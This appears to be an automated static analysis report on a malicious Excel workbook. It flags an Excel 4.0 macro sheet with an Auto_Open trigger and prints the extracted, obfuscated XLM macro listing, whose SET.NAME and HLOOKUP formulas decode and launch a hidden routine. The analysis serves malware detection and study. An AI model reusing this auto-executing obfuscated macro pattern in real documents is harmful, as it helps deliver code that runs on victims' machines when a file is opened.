Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72b8285bea9e1152…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:39:00 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 5e8aefcc131d876dd35dac27dea846bf SHA-1: 796f341d0094d3cdffeb266081f38bc983c50267 SHA-256: 72b8285bea9e1152b6c62ebb8bb81f0300d5904cdca759a94e864b4232ad18cb
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6595 bytes
SHA-256: 622f02b51d8627e7c9622eebc6564d66f789c17ef14b5c6c44aeffd252a51152
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Tjblh
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D139 
' 0018     23 LABEL : Cell Value, String Constant - dTVLOOhj len=0 
' 0018     20 LABEL : Cell Value, String Constant - fYTyv len=0 
' 0018     21 LABEL : Cell Value, String Constant - hJsTbp len=0 
' 0018     27 LABEL : Cell Value, String Constant - HUKvZyLPcGuz len=0 
' 0018     25 LABEL : Cell Value, String Constant - HxWYJahMru len=0 
' 0018     21 LABEL : Cell Value, String Constant - IDlRrj len=0 
' 0018     27 LABEL : Cell Value, String Constant - iNlqxdwuUmjO len=0 
' 0018     27 LABEL : Cell Value, String Constant - KonsDWUjZDoH len=0 
' 0018     21 LABEL : Cell Value, String Constant - LMqzzz len=0 
' 0018     21 LABEL : Cell Value, String Constant - NtILoI len=0 
' 0018     23 LABEL : Cell Value, String Constant - oPwqEvAl len=0 
' 0018     26 LABEL : Cell Value, String Constant - PgJOzMMFPhT len=0 
' 0018     24 LABEL : Cell Value, String Constant - PhzrMXyjJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - RdnsrDa len=0 
' 0018     20 LABEL : Cell Value, String Constant - rroFZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - RTVshW len=0 
' 0018     22 LABEL : Cell Value, String Constant - uEAVaCm len=0 
' 0018     27 LABEL : Cell Value, String Constant - YBOlEoBAOVWs len=0 
' 0018     23 LABEL : Cell Value, String Constant - yCrZgRoG len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZwUqBXxV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Tjblh,D51,"SET.NAME("rroFZ",0+VALUE("0"))",""
'  Tjblh,D54,"SET.NAME("IDlRrj",rroFZ)",""
'  Tjblh,D56,"SET.NAME("oPwqEvAl",rroFZ)",""
'  Tjblh,D58,"SET.NAME("RTVshW",COUNTA(hJsTbp))",""
'  Tjblh,R61,"",518.00000000000000000000
'  Tjblh,R62,"",107.00000000000000000000
'  Tjblh,D63,"SET.NAME("LMqzzz",COUNTA(NtILoI))",""
'  Tjblh,R63,"",213.00000000000000000000
'  Tjblh,R64,"",-512.00000000000000000000
'  Tjblh,R65,"",-622.00000000000000000000
'  Tjblh,R66,"",-626.00000000000000000000
'  Tjblh,D68,[],""
'  Tjblh,D70,"SET.NAME("dTVLOOhj","")",""
'  Tjblh,D74,"IDlRrj",""
'  Tjblh,D77,"SET.NAME("PgJOzMMFPhT",HLOOKUP("*",hJsTbp,IDlRrj,FALSE))",""
'  Tjblh,D80,"KonsDWUjZDoH",""
'  Tjblh,D82,"SET.NAME("HxWYJahMru",rroFZ)",""
'  Tjblh,D87,[],""
'  Tjblh,D90,"HxWYJahMru",""
'  Tjblh,D95,"iNlqxdwuUmjO",""
'  Tjblh,D100,"fYTyv",""
'  Tjblh,D103,"yCrZgRoG",""
'  Tjblh,D105,"SET.NAME("uEAVaCm",VALUE(HLOOKUP("*",NtILoI,yCrZgRoG,FALSE)))",""
'  Tjblh,D109,"PhzrMXyjJ",""
'  Tjblh,D111,"dTVLOOhj",""
'  Tjblh,D116,"oPwqEvAl",""
'  Tjblh,D119,NEXT(),""
'  Tjblh,D121,"RdnsrDa",""
'  Tjblh,D125,[],""
'  Tjblh,D129,"HUKvZyLPcGuz",""
'  Tjblh,D132,NEXT(),""
'  Tjblh,D134,RETURN(),""
'  Tjblh,D165,"SET.NAME("YBOlEoBAOVWs",D51)",""
'  Tjblh,D167,"hJsTbp",""
'  Tjblh,D170,"SET.NAME("NtILoI",R43C13)",""
'  Tjblh,D173,"SET.NAME("HUKvZyLPcGuz",181)",""
'  Tjblh,D175,"SET.NAME("ZwUqBXxV",4)",""
'  Tjblh,D180,YBOlEoBAOVWs(),""
'  Tjblh,D181,HALT(),""

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